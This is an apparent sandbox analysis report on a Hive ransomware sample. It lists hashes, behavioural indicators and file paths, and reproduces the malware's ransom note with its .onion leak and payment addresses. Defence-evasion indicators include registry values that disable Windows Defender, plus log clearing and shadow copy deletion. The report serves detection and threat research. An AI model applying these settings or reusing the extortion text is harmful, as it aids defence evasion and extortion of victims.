hive | af9e8f301a3677b457345921d7ee765a842eceb7df107714eaffc6193bfc6bbe

Analysis

max time kernel
107s
max time network
71s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
25/05/2023, 17:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

211xahcou.exe
Size

3.9MB
MD5

0e4d44dde522c07d09d9e3086cfae803
SHA1

d8dc26e2094869a0da78ecb47494c931419302dc
SHA256

33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277
SHA512

ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06
SSDEEP

49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA2:e2ANB04yIa0hsirubO

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\n8pw_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: fTP4dtHQ51ZX Password: 7zC1gVatfxGNUwxnLe4e To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.cv2gj files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command-Line Interface

T1059

pid	Process
2804	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

evasion ransomware

Indicator Removal on Host

T1070

pid	Process
3908	wevtutil.exe
4568	wevtutil.exe
948	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3540	bcdedit.exe
4760	bcdedit.exe

Renames multiple (101) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (51) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (62) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\COPYRIGHT.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_HgAAAB4AAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\gf_60x42.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\line_2x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_GAAAABgAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\EXCEL_COL.HXT.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_EAAAABAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\PhotosSmallTile.contrast-black_scale-125.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Awards\common\King_Of_The_Hill_.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Assets\Audio\IncomingCall.wma	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ru-ru\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\en-gb\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioProO365R_SubTrial-pl.xrm-ms.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.DailyChallenges\Assets\Popups\Upsell\close_button.jpg	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Autumn\autumn_1h.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorSmallTile.contrast-white_scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ko-kr\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_HAAAABwAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Sign_White@1x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\de-DE\ieinstal.exe.mui.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_JgAAACYAAAA0.cv2gj	211xahcou.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\PlatformCapabilities\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-options_zh_CN.jar.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_HAAAABwAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\CONCRETE.INF.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_JgAAACYAAAA0.cv2gj	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_TypeTextFields_White@1x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_NgAAADYAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pl-pl\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_LAAAACwAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Western\mask\12d.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\Images\PrintAndShare\Glyph_0xe7d3.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\LinkedInboxLargeTile.scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\selector.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_OAAAADgAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\it-it\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\System\ado\es-ES\msader15.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\System\msadc\ja-JP\msdaremr.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ipsptg.xml	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\license.html.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_DgAAAA4AAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CollectSignatures.aapp.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\es-ES\TipRes.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_OEM_Perp-ppd.xrm-ms.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_MAAAADAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusinessVL_MAK-ppd.xrm-ms.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-32_altform-unplated_contrast-black.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\GenericMailMediumTile.scale-100.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_LAAAACwAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\msadc\fr-FR\msaddsr.dll.mui.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe\resources.pri	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppList.targetsize-64_altform-unplated_contrast-black.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Yahoo-Light.scale-250.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviewers.gif.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_LgAAAC4AAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Logos\Wide310x150\PaintWideTile.scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Tournament\RedRectangle.png	211xahcou.exe
File created	C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\lib\jfxswt.jar.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\Weather_LogoSmall.targetsize-256.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Work\LTR\contrast-black\WideTile.scale-125.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_ok.gif.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\fi-fi\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_GgAAABoAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\SurfaceProfiles\canvas12oz_512x512.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosWideTile.scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\de-DE\sqlxmlx.rll.mui	211xahcou.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_zh_CN.jar.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_BAAAAAQAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxSignature.p7x	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\WinStore\Resources\Assets\RT_Icons_Cert_16.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-72.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppList.targetsize-48_contrast-black.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Advanced-Dark.scale-150.png	211xahcou.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\1601268389\3877292338.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\4183903823\810424605.pri	taskmgr.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4812	sc.exe
3080	sc.exe
4332	sc.exe
4384	sc.exe
3480	sc.exe
3528	sc.exe
4368	sc.exe
4496	sc.exe
3696	sc.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1464	vssadmin.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3456	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3308	PING.EXE

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
4356	powershell.exe
4356	powershell.exe
4356	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
3608	211xahcou.exe
3608	211xahcou.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	3908	wevtutil.exe
Token: SeBackupPrivilege	3908	wevtutil.exe
Token: SeSecurityPrivilege	4568	wevtutil.exe
Token: SeBackupPrivilege	4568	wevtutil.exe
Token: SeSecurityPrivilege	948	wevtutil.exe
Token: SeBackupPrivilege	948	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	4816	wmic.exe
Token: SeSecurityPrivilege	4816	wmic.exe
Token: SeTakeOwnershipPrivilege	4816	wmic.exe
Token: SeLoadDriverPrivilege	4816	wmic.exe
Token: SeSystemProfilePrivilege	4816	wmic.exe
Token: SeSystemtimePrivilege	4816	wmic.exe
Token: SeProfSingleProcessPrivilege	4816	wmic.exe
Token: SeIncBasePriorityPrivilege	4816	wmic.exe
Token: SeCreatePagefilePrivilege	4816	wmic.exe
Token: SeBackupPrivilege	4816	wmic.exe
Token: SeRestorePrivilege	4816	wmic.exe
Token: SeShutdownPrivilege	4816	wmic.exe
Token: SeDebugPrivilege	4816	wmic.exe
Token: SeSystemEnvironmentPrivilege	4816	wmic.exe
Token: SeRemoteShutdownPrivilege	4816	wmic.exe
Token: SeUndockPrivilege	4816	wmic.exe
Token: SeManageVolumePrivilege	4816	wmic.exe
Token: 33	4816	wmic.exe
Token: 34	4816	wmic.exe
Token: 35	4816	wmic.exe
Token: 36	4816	wmic.exe
Token: SeIncreaseQuotaPrivilege	4688	wmic.exe
Token: SeSecurityPrivilege	4688	wmic.exe
Token: SeTakeOwnershipPrivilege	4688	wmic.exe
Token: SeLoadDriverPrivilege	4688	wmic.exe
Token: SeSystemProfilePrivilege	4688	wmic.exe
Token: SeSystemtimePrivilege	4688	wmic.exe
Token: SeProfSingleProcessPrivilege	4688	wmic.exe
Token: SeIncBasePriorityPrivilege	4688	wmic.exe
Token: SeCreatePagefilePrivilege	4688	wmic.exe
Token: SeBackupPrivilege	4688	wmic.exe
Token: SeRestorePrivilege	4688	wmic.exe
Token: SeShutdownPrivilege	4688	wmic.exe
Token: SeDebugPrivilege	4688	wmic.exe
Token: SeSystemEnvironmentPrivilege	4688	wmic.exe
Token: SeRemoteShutdownPrivilege	4688	wmic.exe
Token: SeUndockPrivilege	4688	wmic.exe
Token: SeManageVolumePrivilege	4688	wmic.exe
Token: 33	4688	wmic.exe
Token: 34	4688	wmic.exe
Token: 35	4688	wmic.exe
Token: 36	4688	wmic.exe
Token: SeIncreaseQuotaPrivilege	4688	wmic.exe
Token: SeSecurityPrivilege	4688	wmic.exe
Token: SeTakeOwnershipPrivilege	4688	wmic.exe
Token: SeLoadDriverPrivilege	4688	wmic.exe
Token: SeSystemProfilePrivilege	4688	wmic.exe
Token: SeSystemtimePrivilege	4688	wmic.exe
Token: SeProfSingleProcessPrivilege	4688	wmic.exe
Token: SeIncBasePriorityPrivilege	4688	wmic.exe
Token: SeCreatePagefilePrivilege	4688	wmic.exe
Token: SeBackupPrivilege	4688	wmic.exe
Token: SeRestorePrivilege	4688	wmic.exe
Token: SeShutdownPrivilege	4688	wmic.exe
Token: SeDebugPrivilege	4688	wmic.exe
Token: SeSystemEnvironmentPrivilege	4688	wmic.exe
Token: SeRemoteShutdownPrivilege	4688	wmic.exe
Token: SeUndockPrivilege	4688	wmic.exe

Suspicious use of FindShellTrayWindow 50 IoCs

pid	Process
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe

Suspicious use of SendNotifyMessage 49 IoCs

pid	Process
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe
912	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3608 wrote to memory of 4144	3608	211xahcou.exe	66
PID 3608 wrote to memory of 4144	3608	211xahcou.exe	66
PID 4144 wrote to memory of 4456	4144	net.exe	68
PID 4144 wrote to memory of 4456	4144	net.exe	68
PID 3608 wrote to memory of 4316	3608	211xahcou.exe	69
PID 3608 wrote to memory of 4316	3608	211xahcou.exe	69
PID 4316 wrote to memory of 4972	4316	net.exe	71
PID 4316 wrote to memory of 4972	4316	net.exe	71
PID 3608 wrote to memory of 1468	3608	211xahcou.exe	72
PID 3608 wrote to memory of 1468	3608	211xahcou.exe	72
PID 1468 wrote to memory of 3124	1468	net.exe	74
PID 1468 wrote to memory of 3124	1468	net.exe	74
PID 3608 wrote to memory of 3316	3608	211xahcou.exe	75
PID 3608 wrote to memory of 3316	3608	211xahcou.exe	75
PID 3316 wrote to memory of 3876	3316	net.exe	77
PID 3316 wrote to memory of 3876	3316	net.exe	77
PID 3608 wrote to memory of 2404	3608	211xahcou.exe	78
PID 3608 wrote to memory of 2404	3608	211xahcou.exe	78
PID 2404 wrote to memory of 2680	2404	net.exe	80
PID 2404 wrote to memory of 2680	2404	net.exe	80
PID 3608 wrote to memory of 4780	3608	211xahcou.exe	81
PID 3608 wrote to memory of 4780	3608	211xahcou.exe	81
PID 4780 wrote to memory of 4808	4780	net.exe	83
PID 4780 wrote to memory of 4808	4780	net.exe	83
PID 3608 wrote to memory of 1300	3608	211xahcou.exe	84
